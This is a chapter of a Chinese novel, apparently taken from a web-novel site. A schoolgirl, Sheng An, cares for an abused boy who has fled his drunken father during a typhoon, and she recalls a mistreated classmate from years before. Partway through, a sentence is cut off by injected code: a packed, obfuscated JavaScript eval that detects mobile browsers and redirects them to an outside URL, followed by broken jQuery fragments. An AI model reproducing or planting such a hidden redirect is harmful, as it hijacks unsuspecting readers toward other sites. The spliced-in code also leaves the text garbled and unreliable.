男孩低着头，余光一一扫过书桌。
模拟试卷是牛皮封面，挺新，有一道折痕。最上面的是英语模拟卷，姓名处写了两个端端正正的字。男孩虽然压低着头，视线是斜的。但那两个字写得太认真了，竖是竖，撇是撇，一眼便能看清。
盛安。
模拟卷下面盖着六本书，边页处有些卷了，其中两本书角还略微残破了些。书贴着墙放，书名一览无余，从上到下分别是《天生犯罪人》、《菊与刀》、《故事新编》、《万水千山走遍》和《乌合之众》。每一本书沿都贴着标签，应该是从图书馆里借来的。
在男孩盯着书名不知想些什么的时候，盛安已经把他的头看了一圈。
打人的人主要是集中打的背，特意绕开了手臂前肢，也并没有伤到头。她已经无比确定，一定是家里人干的。如果是打架斗殴，怎么可能光把脸打成这样，头上却一点伤痕都没有。
刹那间，她眼前闪过一副画面。
一顶黄色的小圆帽。
那是她刚进小学时的第一位女同桌，也是她众多同桌间最短的一位，只有短短五天。
在隔了七年的时光之后，那位女同桌的脸具体长什么样，她早已模糊，而且她完全不记得自己是否跟她讲过话。
但是她记得，那个女生侧着脸，皮肤苍白，像风干的树皮内侧。在他们清一色短衣短裤之时，她穿了一周的长袖长裤，还戴了一顶黄色的小圆帽，上课时也不脱。当时她们两个被安排靠墙坐，女同桌坐在里面。她总是一个姿势：靠着墙，低着头，用手压着帽，眼睛闪躲不看人。
她还记得，那个女孩身上隐隐散发着一股腥臭之味。味道不大，只是夏末闷热，汗水混杂，小小的教室里挤满了小小的学生，所以周边坐着的几位都能闻到。
这个味道容易让人联想到一些不祥的词汇，譬如阴沟、粪坑和死亡。
虽然女孩成日黏在桌椅上，除了上厕所时不得不离开片刻，其余时间永远紧闭嘴巴，低头看书。可惜沉默不代表能够隐身。
一年级的小学生应该算一半动物一半人类。后座男生在抱怨了几天的腥臭味后，终于在周五的课间时分，冷不丁地掀飞了她黄色的小帽。
盛安清楚地看见，女同桌的颅顶有一道缝了六针的疤痕，歪歪扭扭，像条蜈蚣。后脑勺几乎没有头发，不是那种被剃完毛刺刺的头皮，而是光滑的，红嫩的，烫坏了发根再也长不出头发的新皮。
那日下午阳光正好，窗外蓝天白云，绿树成荫。金灿灿的阳光透过走廊，把教室照耀成麦田，黄澄澄的小圆帽摔落在教室灰白的水泥地面，美好的像幅油画。油画的角落里，一个秃了头皮的小小女孩表情刹那间扭曲，眼里是洪水般的惊恐、羞愧、不安、委屈、自卑和痛苦。
始作俑者前仰后合的嘲笑声炸穿了苍白的空气，未满七岁的盛安干了人生第一场架。
她没赢，也没输。
后座男生在手舞足蹈中踢中了她的腰腹，她则用尖嘴利牙把对方手臂啃噬的鲜血淋漓。那个微胖的男孩捂着下半身在课桌间打滚，嚎得整栋教学楼响彻凄厉的哭声。
盛安在众目睽睽之下，舔了舔唇上的血，把撕咬下的一小块皮肉咽进了肚里。
由于是她主动先出的手，又有一帮围观小同学全体作证，这件事让盛望赔了一年的工资。
第二周开始，女同桌就没来上课了。
再后来，她听盛望说，那个小黄帽女孩，死了。
十三岁的盛安已经逐渐觉察到自己其实是一个淡漠的人。当她听到死亡的消息时，没哭，连一丝难过都没有。她总是容易迅速遗忘掉许多事、许多人，无论当下多么深刻。譬如那些小学阶段跟她来往密切的同学和邻居家的孩子，在转校上其他片区的初中后，她便将他们全忘了。相处时的所有记忆，都消失地无影无踪，仿佛从来不曾存在过。
但那一顶摔进灿烂阳光里的小黄帽，却会在偶尔某个瞬间，猝不及防在她脑海中闪回似的浮现。
“姐姐。”
男孩抬眸唤她。
“嗯？”
她在回忆发酵之际，本能地应了一声。
“这些书都是你看的吗？”他低低地说。
“嗯。”她的手离开了他的头发。
“你是不是学霸？”他又问。
盛安拿毛巾擦了擦手，笑了笑：“还可以吧，我也没别的事可做。”
她走到衣柜旁。
男孩看着盛安的动作，问：“姐姐，你爸爸妈妈都不在家吗？”
盛安手停了，心想，我还没问他什么问题，这小孩倒一个劲问起我来了。
不过她决定在小孩面前保持适当的诚实。
她翻着衣服，斟酌了一下道：“我爸在值班。我妈……他们离婚了。我跟我爸。”
男孩愣了一下，低下头，说不清是什么表情。
盛安没看他，她正对着衣柜发愁。
这小孩，单薄，骨瘦，未发育的身体。排除伤痕处的凹凸不平外，他整张背上脊梁骨清晰凸起。这具没多少肉的小身板可抵挡不住八月底台风的夜晚。
而她的卧室里，没有空调。搬进那天房东答应台风过后来装，钱，盛望贴三分之一。
今晚这样，总不能让他赤裸着上身干巴巴地坐一晚吧。但是如果睡觉，这具涂满抗炎药膏的身体又如何躺进被子里。非专业护理人士的她隐约记得，不能直接敷纱布，否则纱布会跟血黏在一起，更换药时就得重新撕开皮肉，疼痛无比。
头疼……她以前怎么不多学一点……
如果今晚不是台风天，如果不是男孩一直坚持不报警不去医院，她是不会自行处理他身上的伤口的。她才是个初中生诶。
男孩语气低沉，突然问：“你爸爸……也喝酒，也打人吗？”
“……？”
盛安手里捏着一件衣服，转过头，缓缓看着他。
男孩肿着一张脸，眉眼微垂。那只没有受伤的眼睛黑白分明，瞳仁又大又黑，让盛安想起某类小说里的惯用词汇，比如深渊。
“我爸爸不怎么喝酒，也不打好人。” 盛安笑了一笑，“我爸是个很好的人，唯一毛病就是戒烟失败。”
男孩两只颜色不一的眼睛里全是不解：“很好的人为什么会离婚？”
盛安没有立刻回答。
她走回到男孩身边，轻轻拉起他瘦弱的胳膊。男孩跟着盛安起身，走到床边。盛安叫他坐下，把手里捏着的一件秋季睡衣盖在了他的肚子上。
然后，她坐到了床沿边，坐在了他身边，像少儿频道里的知心大姐姐。在安静了片刻后，她又把腿抬起来，放到床上，双手抱住了自己。
“不是坏人才离婚的，离婚跟人好坏无关，好人也会离婚。”
盛安觉得她并不只是在跟小男孩说话，她也是在跟自己说话。
“比如，两个好人相约一起爬山，他们好不容易爬到山顶后，一个人想从此小隐隐于野，在山顶过一辈子。另一个人却想下山，再去攀爬一座更高的山。都是好人，没有对错的，只是未来的路不同了。”
说完这段，她的眼睛湿漉漉的，虚空地看向空气中的某一处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226806|181704||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
男孩侧过头看着她，她的神情很平淡，也有超越实际年纪的寂寥。他认真地想了一想，说：“可如果他们约好了要一起上山，难道就没约好上山之后该怎么办吗？”
盛安叹出一口气：“因为时间会改变人的状态。有一个人可能爬了一半，腿脚崴了，走不动了，觉得山里空气好，风景好，就想住下来了。可另一个人野心勃勃，精力旺盛，不甘心就在山里待一辈子。总觉得外面的山更高，风景更美。两个人谁也说服不了谁，只能分道扬镳了。”
男孩固执地摇头：“不是这样的，不能这样的。约定就是约定，不能变的，变了就不是约定了。不守承诺的不是好人。”
盛安心里又是一动，一时无言，不知该回什么。其实她觉得小男孩说的对，她也觉得承诺就是承诺，如果不能做到，又何必承诺。只是，她见到的世界里，不遵守承诺的大人和小孩，太多了。
男孩盯着盛安一会儿，突然问道: “姐姐，那如果你爸爸给你找了新妈妈，你会怎么办？”
盛安愣住，这个问题犹如一个棒槌击打了她跳动的神经。是啊，离婚意味着自由，自由意味着又可以结婚了。
她想了想，很认真地说: “我爸不会再婚的。”
男孩说: “可他们都说离了以后一定会再找的。”
盛安皱了皱眉头，他们一定指的是那帮无聊的亲戚。
她说: “我爸不会的。”
挑了挑眉又补充道: “他要是再婚，我就跟他一刀两断，老死不相往来。”
口气像玩笑，但谁都能听出来玩笑里面的认真。
男孩不说话了，像在思考盛安的话。
盛安想到自己一直在回答他的问题，也应该拿回主动权。于是不等小男孩说话，她赶紧问道：“别说我了，是你爸爸打的你，对吗？他是不是还打别人了？”
男孩的眼睛盯着床对面的墙壁，书架背后白墙之上贴了一幅大尺寸的中国地图。平日里盛安没事无聊，就会一个城市一个城市看过去，一个一个把它们的名字记住。
男孩出神地盯着中国地图，盛安有预感，他要对她倾述了。
她耐心地听着。
在这个台风呼啸的夜晚，十岁的男孩在暖黄的灯光之下，用纯净的童言，简要述说了他人生之初的遭遇。
他说，他叫季林生，来自一个叫桦城的北方小城。爸爸最早是钢丝厂职工，还没干满一年就下岗了。为了谋生，也为了快速发财，他爸尝试过不同生意，赚到过钱，也欠过债。在他很小的时候，他爸跟着朋友一路南下，辗转过好几个城市，明城是其中之一。
之后的事情，他说得断断续续，可能记忆在努力保护他，不让他回想痛苦的事。总之他妈坚持要离婚，但他爸死活不肯。这个八月，他爸趁他妈外出，把他带到了明城。
今天晚上六点多，他爸吃了饭喝了酒，顺手打骂他一顿后，把他锁在阳台里，自己趴在卧室床上睡着了。是他自己打开二楼阳台的玻璃窗，沿着其他人家的空调外机和不锈钢防盗窗，一步一步爬了下来。因为人小，到最后一步时没够准，踏空了摔了下来，崴到了脚。他如果回去，一定会再遭受一顿毒打，所以他趁着黑夜，拖着疼痛的腿脚，沿着墙边一点一点地蹭。
翻滚的乌云下，呼啸的台风中，他看见了乌鸟巷暖白的路灯，看见了巷尾两棵槐树后的墙壁。本能也好，直觉也罢，他躲进了这栋楼的楼梯下。
在他躲在墙角处把自己缩成一团抵抗疼痛之时，暴雨落下来了。
盛安在暴风雨中，回家了。